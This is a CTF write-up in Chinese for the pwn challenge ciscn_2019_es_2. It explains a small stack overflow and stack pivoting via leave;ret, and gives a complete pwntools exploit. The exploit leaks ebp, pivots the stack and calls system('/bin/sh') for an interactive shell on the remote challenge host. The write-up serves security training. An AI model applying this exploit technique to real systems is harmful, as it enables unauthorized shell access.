【ciscn_2019_es_2】WriteUp
checksec
一下,发现只有NX防护。
[*] '/home/bronya/Documents/CTF/pwn11/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用ida打开,发现s存在溢出漏洞,但是只能溢出8字节,无法调用write等函数进行RetLibc。因此考虑栈迁移。
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF
memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}
栈迁移指在rbp指向的地址写入要篡改的地址,rbp+4写入leave_ret地址,这样在函数正常结束即将返回时,rsp指向rbp,rbp指向rbp指向的内容地址,rsp+4到leave_ret,使eip指向了leave_ret,因此导致程序又执行了leave_ret,再次将rsp移动到rbp,rsp+4,使eip指向了篡改地址+4的地址。
因此只需要向程序变量s写入要执行的指令,再栈迁移使eip指向s即可。
构造exp如下:
from pwn import *
context(arch='i386', os='linux', log_level="debug")
# p = process('./ciscn_2019_es_2')
# gdb.attach(p, 'b *0x080485BE')
p = remote('node4.buuoj.cn', 27006)
leave_ret = 0x08048562
system_addr = 0x08048400
# 第一次溢出泄漏ebp地址,用于栈迁移
payload = flat(b'a'*0x20+b'b'*8)
p.sendafter(b'Welcome, my friend. What\'s your name?\n',payload)
p.recvuntil(b'bbbbbbbb')
ebp_addr = u32(p.recv(4))
info(hex(ebp_addr))
# 第二次溢出,进行栈迁移,通过修改ebp来达到修改eip的目的
payload2 = flat(b'aaaa', system_addr, 0, ebp_addr-0x28, b'/bin/sh').ljust(0x28, b'\x00')
payload2 += flat(ebp_addr-0x38, leave_ret)
p.sendlineafter(b'\n', payload2)
p.interactive()